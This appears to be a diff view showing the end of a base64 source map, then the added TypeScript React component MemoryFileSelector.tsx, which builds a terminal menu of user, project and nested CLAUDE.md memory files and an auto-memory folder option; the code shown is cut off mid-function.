mFsaWRhdGlvbkVycm9yW10sXG4gIHNldmVyaXR5OiAnZmF0YWwnIHwgJ3dhcm5pbmcnLFxuKTogVmFsaWRhdGlvbkVycm9yW10ge1xuICByZXR1cm4gZXJyb3JzLmZpbHRlcihlID0+IGUubWNwRXJyb3JNZXRhZGF0YT8uc2V2ZXJpdHkgPT09IHNldmVyaXR5KVxufVxuIl0sIm1hcHBpbmdzIjoiO0FBQUEsT0FBT0EsS0FBSyxJQUFJQyxPQUFPLFFBQVEsT0FBTztBQUN0QyxTQUFTQyxvQkFBb0IsUUFBUSw0QkFBNEI7QUFDakUsY0FBY0MsV0FBVyxRQUFRLDJCQUEyQjtBQUM1RCxTQUNFQyx5QkFBeUIsRUFDekJDLGFBQWEsUUFDUiwyQkFBMkI7QUFDbEMsY0FBY0MsZUFBZSxRQUFRLGtDQUFrQztBQUN2RSxTQUFTQyxHQUFHLEVBQUVDLElBQUksRUFBRUMsSUFBSSxRQUFRLGNBQWM7QUFFOUMsU0FBQUMsc0JBQUFDLEVBQUE7RUFBQSxNQUFBQyxDQUFBLEdBQUFDLEVBQUE7RUFBK0I7SUFBQUMsS0FBQTtJQUFBQyxhQUFBO0lBQUFDO0VBQUEsSUFBQUwsRUFROUI7RUFDQyxNQUFBTSxTQUFBLEdBQWtCRixhQUFhLENBQUFHLE1BQU8sR0FBRyxDQUFDO0VBQzFDLE1BQUFDLFdBQUEsR0FBb0JILFFBQVEsQ0FBQUUsTUFBTyxHQUFHLENBQUM7RUFFdkMsSUFBSSxDQUFDRCxTQUF5QixJQUExQixDQUFlRSxXQUFXO0lBQUEsT0FDckIsSUFBSTtFQUFBO0VBQ1osSUFBQUMsRUFBQTtFQUFBLElBQUFSLENBQUEsUUFBQUssU0FBQSxJQUFBTCxDQUFBLFFBQUFPLFdBQUE7SUFLTUMsRUFBQSxJQUFDSCxTQUF3QixJQUF4QkUsV0FJRCxLQUhDLENBQUMsSUFBSSxDQUFRLEtBQStCLENBQS9CLENBQUFGLFNBQVMsR0FBVCxPQUErQixHQUEvQixTQUE4QixDQUFDLENBQUUsQ0FDMUMsQ0FBQUEsU0FBUyxHQUFULGlCQUFtRCxHQUFuRCxtQkFBa0QsQ0FBRSxDQUFFLElBQUUsQ0FDNUQsRUFGQyxJQUFJLENBR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
|
src/components/memory/MemoryFileSelector.tsx
ADDED
|
@@ -0,0 +1,438 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import { c as _c } from "react/compiler-runtime";
|
| 2 |
+
import { feature } from 'bun:bundle';
|
| 3 |
+
import chalk from 'chalk';
|
| 4 |
+
import { mkdir } from 'fs/promises';
|
| 5 |
+
import { join } from 'path';
|
| 6 |
+
import * as React from 'react';
|
| 7 |
+
import { use, useEffect, useState } from 'react';
|
| 8 |
+
import { getOriginalCwd } from '../../bootstrap/state.js';
|
| 9 |
+
import { useExitOnCtrlCDWithKeybindings } from '../../hooks/useExitOnCtrlCDWithKeybindings.js';
|
| 10 |
+
import { Box, Text } from '../../ink.js';
|
| 11 |
+
import { useKeybinding } from '../../keybindings/useKeybinding.js';
|
| 12 |
+
import { getAutoMemPath, isAutoMemoryEnabled } from '../../memdir/paths.js';
|
| 13 |
+
import { logEvent } from '../../services/analytics/index.js';
|
| 14 |
+
import { isAutoDreamEnabled } from '../../services/autoDream/config.js';
|
| 15 |
+
import { readLastConsolidatedAt } from '../../services/autoDream/consolidationLock.js';
|
| 16 |
+
import { useAppState } from '../../state/AppState.js';
|
| 17 |
+
import { getAgentMemoryDir } from '../../tools/AgentTool/agentMemory.js';
|
| 18 |
+
import { openPath } from '../../utils/browser.js';
|
| 19 |
+
import { getMemoryFiles, type MemoryFileInfo } from '../../utils/claudemd.js';
|
| 20 |
+
import { getClaudeConfigHomeDir } from '../../utils/envUtils.js';
|
| 21 |
+
import { getDisplayPath } from '../../utils/file.js';
|
| 22 |
+
import { formatRelativeTimeAgo } from '../../utils/format.js';
|
| 23 |
+
import { projectIsInGitRepo } from '../../utils/memory/versions.js';
|
| 24 |
+
import { updateSettingsForSource } from '../../utils/settings/settings.js';
|
| 25 |
+
import { Select } from '../CustomSelect/index.js';
|
| 26 |
+
import { ListItem } from '../design-system/ListItem.js';
|
| 27 |
+
|
| 28 |
+
/* eslint-disable @typescript-eslint/no-require-imports */
|
| 29 |
+
const teamMemPaths = feature('TEAMMEM') ? require('../../memdir/teamMemPaths.js') as typeof import('../../memdir/teamMemPaths.js') : null;
|
| 30 |
+
/* eslint-enable @typescript-eslint/no-require-imports */
|
| 31 |
+
|
| 32 |
+
interface ExtendedMemoryFileInfo extends MemoryFileInfo {
|
| 33 |
+
isNested?: boolean;
|
| 34 |
+
exists: boolean;
|
| 35 |
+
}
|
| 36 |
+
|
| 37 |
+
// Remember last selected path
|
| 38 |
+
let lastSelectedPath: string | undefined;
|
| 39 |
+
const OPEN_FOLDER_PREFIX = '__open_folder__';
|
| 40 |
+
type Props = {
|
| 41 |
+
onSelect: (path: string) => void;
|
| 42 |
+
onCancel: () => void;
|
| 43 |
+
};
|
| 44 |
+
export function MemoryFileSelector(t0) {
|
| 45 |
+
const $ = _c(58);
|
| 46 |
+
const {
|
| 47 |
+
onSelect,
|
| 48 |
+
onCancel
|
| 49 |
+
} = t0;
|
| 50 |
+
const existingMemoryFiles = use(getMemoryFiles());
|
| 51 |
+
const userMemoryPath = join(getClaudeConfigHomeDir(), "CLAUDE.md");
|
| 52 |
+
const projectMemoryPath = join(getOriginalCwd(), "CLAUDE.md");
|
| 53 |
+
const hasUserMemory = existingMemoryFiles.some(f => f.path === userMemoryPath);
|
| 54 |
+
const hasProjectMemory = existingMemoryFiles.some(f_0 => f_0.path === projectMemoryPath);
|
| 55 |
+
const allMemoryFiles = [...existingMemoryFiles.filter(_temp).map(_temp2), ...(hasUserMemory ? [] : [{
|
| 56 |
+
path: userMemoryPath,
|
| 57 |
+
type: "User" as const,
|
| 58 |
+
content: "",
|
| 59 |
+
exists: false
|
| 60 |
+
}]), ...(hasProjectMemory ? [] : [{
|
| 61 |
+
path: projectMemoryPath,
|
| 62 |
+
type: "Project" as const,
|
| 63 |
+
content: "",
|
| 64 |
+
exists: false
|
| 65 |
+
}])];
|
| 66 |
+
const depths = new Map();
|
| 67 |
+
const memoryOptions = allMemoryFiles.map(file => {
|
| 68 |
+
const displayPath = getDisplayPath(file.path);
|
| 69 |
+
const existsLabel = file.exists ? "" : " (new)";
|
| 70 |
+
const depth = file.parent ? (depths.get(file.parent) ?? 0) + 1 : 0;
|
| 71 |
+
depths.set(file.path, depth);
|
| 72 |
+
const indent = depth > 0 ? " ".repeat(depth - 1) : "";
|
| 73 |
+
let label;
|
| 74 |
+
if (file.type === "User" && !file.isNested && file.path === userMemoryPath) {
|
| 75 |
+
label = "User memory";
|
| 76 |
+
} else {
|
| 77 |
+
if (file.type === "Project" && !file.isNested && file.path === projectMemoryPath) {
|
| 78 |
+
label = "Project memory";
|
| 79 |
+
} else {
|
| 80 |
+
if (depth > 0) {
|
| 81 |
+
label = `${indent}L ${displayPath}${existsLabel}`;
|
| 82 |
+
} else {
|
| 83 |
+
label = `${displayPath}`;
|
| 84 |
+
}
|
| 85 |
+
}
|
| 86 |
+
}
|
| 87 |
+
let description;
|
| 88 |
+
const isGit = projectIsInGitRepo(getOriginalCwd());
|
| 89 |
+
if (file.type === "User" && !file.isNested) {
|
| 90 |
+
description = "Saved in ~/.claude/CLAUDE.md";
|
| 91 |
+
} else {
|
| 92 |
+
if (file.type === "Project" && !file.isNested && file.path === projectMemoryPath) {
|
| 93 |
+
description = `${isGit ? "Checked in at" : "Saved in"} ./CLAUDE.md`;
|
| 94 |
+
} else {
|
| 95 |
+
if (file.parent) {
|
| 96 |
+
description = "@-imported";
|
| 97 |
+
} else {
|
| 98 |
+
if (file.isNested) {
|
| 99 |
+
description = "dynamically loaded";
|
| 100 |
+
} else {
|
| 101 |
+
description = "";
|
| 102 |
+
}
|
| 103 |
+
}
|
| 104 |
+
}
|
| 105 |
+
}
|
| 106 |
+
return {
|
| 107 |
+
label,
|
| 108 |
+
value: file.path,
|
| 109 |
+
description
|
| 110 |
+
};
|
| 111 |
+
});
|
| 112 |
+
const folderOptions = [];
|
| 113 |
+
const agentDefinitions = useAppState(_temp3);
|
| 114 |
+
if (isAutoMemoryEnabled()) {
|
| 115 |
+
let t1;
|
| 116 |
+
if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
|
| 117 |
+
t1 = {
|
| 118 |
+
label: "Open auto-memory folder",
|
| 119 |
+
value: `${OPEN_FOLDER_PREFIX}${getAutoMemPath()}`,
|
| 120 |
+
description: ""
|
| 121 |
+
};
|
| 122 |
+
$[0] = t1;
|
| 123 |
+
} else {
|
| 124 |
+
t1 = $[0];
|
| 125 |
+
}
|
| 126 |
+
folderOptions.push(t1);
|
